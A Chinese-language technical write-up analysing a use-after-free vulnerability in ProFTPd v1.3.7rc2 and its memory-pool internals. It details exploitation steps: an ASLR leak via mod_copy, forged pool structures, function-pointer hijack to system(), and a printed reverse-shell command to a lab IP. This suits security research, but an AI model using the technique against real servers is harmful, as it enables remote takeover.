漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。
漏洞修复:https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49
影响版本:小于v1.3.7rc3
测试版本:v1.3.7rc2
保护机制:Canary/NX/Full RelRO(ubuntu 18.04版本)
调试环境/目标机器:ubuntu 18.04
ProFTPd源码编译及部署:
// 安装依赖
apt-get install -y build-essential net-tools git // 源码下载
git clone https://github.com/proftpd/proftpd.git
// 切换到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2
// 生成Makefile文件,带gdb调试信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl
// 编译
make -j4
// 打包
apt install -y checkinstall
// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="[email protected]" \
--install=no \
--strip=no \
--stripso=no
创建匿名用户:
groupadd ftp #添加ftp组
useradd ftp -g ftp -d /var/ftp #添加ftp用户
passwd ftp #设置匿名ftp用户密码为ftp
proftpd.conf匿名登录配置:如果没有/usr/etc/proftpd.conf
这个文件,将以下内容写入。
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask 022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances 30
# Set the user and group under which the server will run.
User nobody
Group nogroup
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
<Directory />
AllowOverwrite on
</Directory>
# A basic anonymous configuration, no upload directories. If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
User ftp
Group ftp
# We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# Limit the maximum number of anonymous logins
MaxClients 10
# We want 'welcome.msg' displayed at login, and '.message' displayed
# in each newly chdired directory.
DisplayLogin welcome.msg
#DisplayFirstChdir .message
# Limit WRITE everywhere in the anonymous chroot
#<Limit WRITE>
# DenyAll
#</Limit>
</Anonymous>
如果有/usr/etc/proftpd.conf
这个文件,则注释掉下面三行配置,允许匿名用户上传文件。
#<Limit WRITE>
# DenyAll
#</Limit>
启动proftpd服务:
// 直接执行
/usr/sbin/proftpd
gdb调试:关闭系统ASLR,同时注释掉exp里绕获取maps的连接的线程,让proftpd第一个子进程就是漏洞进程,暂时没有找到其它方法在多个子进程里打断点。
gdb /usr/sbin/proftpd \
-ex "set detach-on-fork on" \
-ex "set follow-fork-mode child" \
-ex "set breakpoint pending on" \
-ex "b xfer_stor" \
-ex "b pr_data_xfer" \
-ex "b pr_data_abort" \
-ex "b _exit"
proftpd服务全程是Professional FTP daemon,是目前最为流行的FTP服务软件,相比于vsfptd,proftpd配置灵活,可配置选项更多,支持匿名、虚拟主机等多种环境部署,proftpd对中文环境兼容比vsftpd要好,相对于vsftpd使用效率要高很多,但是proftpd安全性相较vsfptd差一点。
proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制,根据proftpd自己的文档描述,该alloc_pool机制源于apache的开源项目,至于是源于apache哪个开源项目,proftpd文档里并没有说明,我也没有在apache的项目里找到该内存池源码,毕竟apache的项目成千上万。
#define CLICK_SZ (sizeof(union align))
CLICK_SZ
是一个宏,代表内存对齐的长度,64位系统的值为8。
union block_hdr {
union align a; /* Padding */
#if defined(_LP64) || defined(__LP64__)
char pad[32];
#endif
/* Actual header */
struct {
void *endp;
union block_hdr *next;
void *first_avail;
} h;
};
每一个通过alloc_pool()
或者make_sub_pool()
函数分配的内存块,都一个union block_hdr
,是用来描述当前内存块的状态。
struct pool_rec {
union block_hdr *first;
union block_hdr *last;
struct cleanup *cleanups;
struct pool_rec *sub_pools;
struct pool_rec *sub_next;
struct pool_rec *sub_prev;
struct pool_rec *parent;
char *free_first_avail;
const char *tag;
};
struct pool_rec
是用来记录每一个pool状态的结构,关键成员变量的含义描述如下。
first:当前pool链表中,第一个pool的指针。
last:当前pool链表中,最后一个pool的指针。
cleanups:指向cleanup_t结构体,该结构体在释放pool时会用到。
sub_pools:指向当前pool的sub pool。
sub_next:指向当前pool的后一个pool。
sub_prev:指向当前pool的前一个pool。
parent:指向当前pool的父pool。
free_first_avail:指向当前pool内存块的可分配首地址。
tag:可以理解为pool的标签或者名称,比如session pool、table pool。
alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数,这些函数只对alloc_pool()函数做了简单的封装,我们还是重点介绍alloc_pool()核心函数。
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
// 根据请求分配内存大小reqsz的值,按CLICK_SZ对齐计算所需内存大小sz
/* Round up requested size to an even number of aligned units */
size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
size_t sz = nclicks * CLICK_SZ;
union block_hdr *blok;
char *first_avail, *new_first_avail; /* For performance, see if space is available in the most recently
* allocated block.
*/
// 从pool中取出最近可用的内存块,如果该pool为空,则函数返回NULL
blok = p->last;
if (blok == NULL) {
errno = EINVAL;
return NULL;
}
// 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail
first_avail = blok->h.first_avail;
// 如果请求分配内存大小reqsz为0,函数直接返回NULL
if (reqsz == 0) {
/* Don't try to allocate memory of zero length.
*
* This should NOT happen normally; if it does, by returning NULL we
* almost guarantee a null pointer dereference.
*/
errno = EINVAL;
return NULL;
}
// 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址
new_first_avail = first_avail + sz;
// 计算所需内存大小sz的末尾地址,如果小于等于当前内存块blok的末尾地址,表示当前内存块blok有足够的内分配给用户,并更新当前内存块blok的可用内存首地址,并返回分配的内存的地址。
if (new_first_avail <= (char *) blok->h.endp) {
blok->h.first_avail = new_first_avail; // 并更新当前内存块blok的空闲区域首地址
return (void *) first_avail;
} /* Need a new one that'
s big enough */
pr_alarms_block();
// 如果当前blok不足以满足sz,则重新向ptmalloc内存分配器申请内存块,并添加到当前pool中
blok = new_block(sz, exact);
p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok
p->last = blok; // 将新申请的blok添加到当前pool的内存块链表的末端
// first_avail指向新申请的blok空闲区域首地址
first_avail = blok->h.first_avail;
// 计算所需内存大小sz的末尾地址,也就是新的first_avail地址
blok->h.first_avail = sz + (char *) blok->h.first_avail;
pr_alarms_unblock();
return (void *) first_avail;
}
new_block()函数首先while循环遍历block的空闲链表是否有可用的block,没有则向ptmalloc2内存分配器申请新的内存块。
static union block_hdr *new_block(int minsz, int exact) {
union block_hdr **lastptr = &block_freelist;
union block_hdr *blok = block_freelist;
// exact表示minsz大小是否准确,如果exact=false,则minsz还需要加上512字节,反之则不用
if (!exact) {
minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
minsz *= BLOCK_MINFREE;
} // 遍历block freelist是否有符合要求的block,有则返回符合要求的block
while (blok) {
if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
*lastptr = blok->h.next;
blok->h.next = NULL;
stat_freehit++;
return blok;
}
lastptr = &blok->h.next;
blok = blok->h.next;
}
// block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请
/* Nope...damn. Have to malloc() a new one. */
stat_malloc++;
return malloc_block(minsz);
}
malloc_block()函数间接调用了malloc()函数申请新内存,并初始化新内存块的block头信息。
static union block_hdr *malloc_block(size_t size) {
// 间接调用malloc函数,申请内存大小 = 申请对齐后内存的大小 + block头大小
union block_hdr *blok =
(union block_hdr *) smalloc(size + sizeof(union block_hdr));
// 更新新内存block的头信息
blok->h.next = NULL;
blok->h.first_avail = (char *) (blok + 1);
blok->h.endp = size + (char *) blok->h.first_avail; return blok;
}
make_sub_pool()函数用于在当前pool里申请new_pool,并赋值给当前pool的sub_pool字段,
struct pool_rec *make_sub_pool(struct pool_rec *p) {
union block_hdr *blok;
pool *new_pool; pr_alarms_block();
// 创建一个512字节的内存块
blok = new_block(0, FALSE);
// new_pool指向新创建的blok的block_hdr后,first_avail向后挪动pool hdr的大小
new_pool = (pool *) blok->h.first_avail;
blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
// 给new_pool的头初始化为0
memset(new_pool, 0, sizeof(struct pool_rec));
new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok
// 如果p为真,将new_pool的parent设置为p,new_pool的sub_next设置为p的sub_pools
if (p) {
new_pool->parent = p;
new_pool->sub_next = p->sub_pools;
// 如果p的sub_pools不为空,就将new_pool插入到p的sub_pools里其它pool之前
if (new_pool->sub_next)
new_pool->sub_next->sub_prev = new_pool;
// 将new_pool插入到p的sub_pools里
p->sub_pools = new_pool;
}
pr_alarms_unblock();
return new_pool;
}
为了方便触发漏洞,这里我们先关闭系统地址空间布局随机化(ASLR)。
echo 0 > /proc/sys/kernel/randomize_va_space
然后在启动proftpd,这里我们可以启动无子进程方式,需要加上参数-X
。
/usr/sbin/proftpd -X -n -d10
poc大致步骤:
第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。
第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。
第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,为了开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后会停止阻塞,想办法让线程停住,可以通过全局变量+while循环来控制。
第四步,线程B,继续发送一段命令A给proftpd server,发送完,让线程A停止等待,立马让线程A也发送一段垃圾数据给proftpd服务,由于proftpd服务先收到线程B的发送的上传文件的命令,程序进入mod_xfer处理线程B上传文件,并且在poll_ctrl()
调用pr_cmd_read()接收到命令A,然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool,后续调用strdup时,访问了这个pool,因为写入的垃圾数据,导致strdup函数访问pool时读取的是垃圾数据并取了地址,出现非法内存的段错误。
漏洞触发:
proftpd debug模式运行的崩溃界面,
在gdb调试环境里看到的崩溃堆栈,
前提条件:需要proftpd支持mod_copy模块,执行configure
文件时加上--with-modules=mod_copy
参数,这样proftpd才能支持拷贝粘贴的能力,site cpfr
为拷贝,site cpto
为粘贴。
绕过思路:ASLR绕过相对较为简单,proftpd支持mod_copy模块,在登录上proftpd服务后,proftpd可以拷贝自身/proc/self/maps
来获取进程内堆、代码段、libc的起始地址,proftpd默认模块里,有下载的命令retr
,但是没法直接下载/proc/self/maps
文件,所以将/proc/self/maps
拷贝到/tmp目录下,然后把/tmp/maps
文件下载下来,可以得到类似这样的文本内容。
利用思路:类似于在ptmalloc2里,劫持__free_hook
函数指针一样,在proftpd里,通过劫持struct cleanup
里的void (*plain_cleanup_cb)(void *)
函数指针,来控制执行流,从而达到任意命令执行。
不同:在ptmalloc2里,比较常见的是对__free_hook
函数指针进行劫持,来控制执行流,__free_hook
函数指针是一个全局变量,所以__free_hook
的地址相对于libc.so的基址是固定偏移,只要知道了libc在进程中的起始地址,是可以算出__free_hook
函数指针这个变量的地址的,只要有稳定的任意地址写,即可稳定利用,大致内存关系可参考下图。
但是在proftpd服务的内存池palloc里,palloc在释放内存池的时候,能劫持的函数指针,目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb
这个函数指针,想要篡改plain_cleanup_cb
这个函数指针,就需要知道pool_rec->cleanups->plain_cleanup_cb
的地址并对其写入我们想要的数据。pool_rec->cleanups
是当前释放的内存池pool的管理结构struct pool_rec
的成员,每个pool的管理结构block_hdr
和struct pool_rec
都在heap段,plain_cleanup_cb
的地址也在heap段,这样就很难通过偏移计算plain_cleanup_cb
在heap段的地址,就很难稳定的利用对plain_cleanup_cb
劫持来执行任意代码,pool的内存关系可参考下图。
(注:在64位系统里,palloc内存池按8字节对齐分配内存)
任意地址写:cmd->pool
是线程A控制的内容fake_pool,通过伪造cmd->pool
的内容,借用make_sub_pool()
函数的任意地址写(这个任意写内容不可控)绕过pr_cmd_get_displayable_str()
函数内的pr_table_get()
对"displayable-str"字符串的检索,使其检索失败,继续执行并调用pstrdup(cmd->pool, res)
函数,res是线程B控制的内容,pstrdup()
函数类似于字符串拷贝,通过将cmd->pool->sub_prev
指向gid_tab
的地址向前一部分的偏移,以此来篡改gid_tab->pool
的地址内容指向cmd->pool - 0x10
的地址,这样在释放gid_tab
时就会同时释放掉gid_tab->pool
,便可调用我们控制的cleanups
,从而达到任意命令执行。
利用步骤:
前三步和漏洞触发流程一样,
第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。
第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。
第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后,想办法让线程停住,可以通过全局变量+while循环来控制。
从第四步开始有些不同,
第四步,线程B,继续发送一段命令A给proftpd服务,这个命令A内容是特意构造的,就是我们控制pr_cmd_get_displayable_str()
函数里pstrdup(cmd->pool, res)
函数的第二个参数res,构造的内容包含cmd->pool - 0x10
的地址,发送完,让线程A停止等待,立马让线程A发送一段数据给proftpd服务,这次不是再垃圾数据,是我们精心构造好的恶意的pool_rec
、cleanup_t
、blok_hdr
和反弹shell的命令,后面分别用fake_pool_rec
、fake_cleanup_t
、fake_blok_hdr
和gCmd
来代表,到此,就等待反弹shell吧。
说明,这次shellcode的构建,不同于ptmalloc2的内存管理,这次涉及到大家不熟悉的palloc内存池管理,利用内存池及其控制结构pool_rec和blok_hdr来完成利用,第一次理解起来可能麻烦点,如果大家很熟悉palloc内存池内存池的利用,可以忽略这句话。
在上述的利用第四步中,线程B发送的命令,会在poll_ctrl()
函数里第933行调用pr_cmd_read()
读取。
线程A发送的shellcode,会在pr_data_xfer()
函数第1265行被pr_netio_read()
函数读取。
pr_netio_read()
函数的参数cl_buf
,在xfer_stor()
函数第2026行从cmd
分配的sub_pool
,所以线程A发送的shellcode直接占据了pool_rec
及后面的内存,shellcode伪造的内容及关系图如下。
gid_tab
、cmd->pool
、cmd->notes
和cmd->notes->chains
,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。
线程A发送完shellcode后,进入任意写的流程,会再次调用data.c:933行的pr_cmd_read()
函数,此次读到返回小于0,进入if判断,进入pr_session_disconnect()
函数, 然后会进入到xfer_exit_ev()
函数,调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()
。然后xfer_exit_ev()
函数会继续调用pr_cmd_dispatch_phase()
到_dispatch()
函数,到了main.c:287行调用make_sub_pool()
函数。
第一个任意地址写,但是写的内容不可控制,在make_sub_pool()
函数里,通过箭头指向的两条语句,任意写的内容是new_pool
的地址,伪造p->sub_pools
指向cmd->notes - 0x10
,这样new_pool->sub_next
等于cmd->notes - 0x10
,new_pool->sub_next->sub_prev
等同于指向cmd->notes->chains
,这个任意写地址内容就是new_pool的地址,内控不可控,不能直接篡改plain_cleanup_cb
函数指针写入我们想要的内容,所以第一个任意写内容不可控。
但是我们可以借助这个内容不可控的任意写,篡改cmd->notes->chains的地址。执行完make_sub_pool()
函数,紧接着调用pr_cmd_get_displayable_str()
函数,cmd.c:374行任意写的地方,内容是可控的,res是线程B发送命令的第二个参数。
在不篡改cmd->notes->chains
的情况下,程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)
进入if判断并退出pr_cmd_get_displayable_str()
函数,在篡改完cmd->notes->chains
的情况下,pr_table_get()
函数会返回NULL,继续执行到pstrdup(cmd->pool, res)
,具体细节自行调试。
当我们伪造的fake_pool_rec->sub_prev
字段指向gid_tab-0x90
,伪造res的内容为cmd->pool - 0x10
,恰好在pstrdup(cmd->pool, res)
时,res写入的地址刚好是gid_tab的前8字节,也就是gid_tab->pool
的地址为cmd->pool - 0x10
,如此一来gid_tab->pool->cleanups
的地址便指向了cmd->pool->first
,cmd->pool->first
通过构造指向了cmd->pool->first + 0x50
也就是fake_cleanups
,所以当调用pr_table_free(gid_tab)
时,最终会调用到run_cleanups()
函数,参数为fake_cleanups
,fake_cleanups是我们伪造好的,fake_cleanups->data
指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00
,fake_cleanups->plain_cleanup_cb
指向system
的地址,即可通过system函数调用反弹shell命令。
但有一点,fake_blok_hdr->end
必须远大于fake_blok_hdr->first_avail
,建议0x300以上。
执行结果:
有三个必须注意到的点,
gid_tab
、cmd->pool
、cmd->notes
和cmd->notes->chains
,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。